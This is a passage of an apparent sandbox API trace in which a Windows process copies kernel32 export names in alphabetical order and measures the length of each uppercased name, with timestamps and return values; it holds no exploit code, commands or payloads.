lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0129.944] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0129.944] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0129.944] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0129.944] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0129.944] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0129.944] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0129.944] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0129.944] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0129.944] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0129.944] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0129.944] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0129.944] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0129.944] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0129.944] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0129.944] lstrlenA (lpString="BEEP") returned 4 [0129.944] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0129.944] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0129.944] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0129.944] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0129.944] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0129.944] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0129.944] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0129.944] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0129.944] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0129.944] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0129.944] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0129.944] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0129.944] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0129.944] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0129.944] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0129.944] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0129.944] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0129.944] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0129.944] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0129.944] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0129.944] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0129.944] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0129.945] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0129.945] lstrlenA (lpString="CANCELIO") returned 8 [0129.945] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0129.945] lstrlenA (lpString="CANCELIOEX") returned 10 [0129.945] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0129.945] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0129.945] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0129.945] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0129.945] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0129.945] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0129.946] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0129.946] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0129.946] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0129.946] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0129.946] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0129.946] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0129.946] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0129.946] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0129.946] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0129.946] lstrlenA (lpString="CHECKELEVATION") returned 14 [0129.946] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0129.946] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0129.946] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0129.946] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0129.946] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0129.946] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0129.946] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0129.946] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0129.946] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0129.946] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0129.946] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0129.946] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0129.946] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0129.946] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0129.947] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0129.947] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0129.947] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0129.947] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0129.947] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0129.947] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0129.947] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0129.947] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0129.947] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0129.947] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0129.947] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0129.947] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0129.947] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0129.947] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0129.947] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0129.947] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0129.947] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0129.947] lstrlenA (lpString="CLOSESTATE") returned 10 [0129.947] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0129.947] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0129.947] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0129.947] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0129.947] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0129.947] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0129.947] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0129.947] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0129.947] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0129.947] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0129.947] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0129.947] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0129.947] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0129.947] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0129.947] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0129.947] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0129.947] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0129.947] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0129.947] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0129.948] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0129.948] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0129.948] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0129.948] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0129.948] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0129.948] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0129.948] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0129.948] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0129.948] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0129.948] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0129.948] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0129.948] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0129.950] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0129.950] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0129.950] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0129.950] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0129.950] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0129.950] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0129.950] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0129.950] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0129.950] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0129.950] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0129.950] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0129.950] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0129.950] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0129.950] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0129.950] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0129.950] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0129.950] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0129.950] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0129.950] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0129.950] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0129.950] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0129.950] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0129.950] lstrlenA (lpString="COPYCONTEXT") returned 11 [0129.950] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0129.950] lstrlenA (lpString="COPYFILE2") returned 9 [0129.950] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0129.950] lstrlenA (lpString="COPYFILEA") returned 9 [0129.950] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0129.950] lstrlenA (lpString="COPYFILEEXA") returned 11 [0129.950] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0129.950] lstrlenA (lpString="COPYFILEEXW") returned 11 [0129.951] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0129.951] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0129.951] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0129.951] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0129.951] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0129.951] lstrlenA (lpString="COPYFILEW") returned 9 [0129.951] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0129.951] lstrlenA (lpString="COPYLZFILE") returned 10 [0129.951] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0129.951] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0129.951] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0129.951] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0129.951] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0129.951] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0129.951] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0129.951] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0129.951] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0129.951] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0129.951] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0129.951] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0129.951] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0129.951] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0129.951] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0129.951] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0129.951] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0129.951] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0129.951] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0129.951] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0129.951] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0129.951] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0129.951] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0129.951] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0129.951] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0129.951] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0129.951] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0129.951] lstrlenA (lpString="CREATEEVENTA") returned 12 [0129.951] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0129.951] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0129.951] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0129.951] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0129.951] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0129.951] lstrlenA (lpString="CREATEEVENTW") returned 12 [0129.951] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0129.952] lstrlenA (lpString="CREATEFIBER") returned 11 [0129.952] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0129.952] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0129.952] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0129.952] lstrlenA (lpString="CREATEFILE2") returned 11 [0129.952] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0129.952] lstrlenA (lpString="CREATEFILEA") returned 11 [0129.952] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0129.952] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0129.952] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0129.952] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0129.952] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0129.952] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0129.952] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0129.952] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0129.952] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0129.952] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0129.952] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0129.952] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0129.952] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0129.952] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0129.952] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0129.952] lstrlenA (lpString="CREATEFILEW") returned 11 [0129.952] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0129.952] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0129.952] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0129.952] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0129.952] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0129.952] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0129.952] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0129.952] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0129.952] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0129.952] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0129.952] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0129.952] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0129.952] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0129.952] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0129.952] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0129.952] lstrlenA (lpString="CREATEJOBSET") returned 12 [0129.952] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0129.952] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0129.952] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0129.952] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0129.952] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0129.953] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0129.953] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0129.953] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0129.953] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0129.953] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0129.953] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0129.953] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0129.953] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0129.953] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0129.953] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0129.953] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0129.953] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0129.953] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0129.953] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0129.953] lstrlenA (lpString="CREATEPIPE") returned 10 [0129.953] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0129.953] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 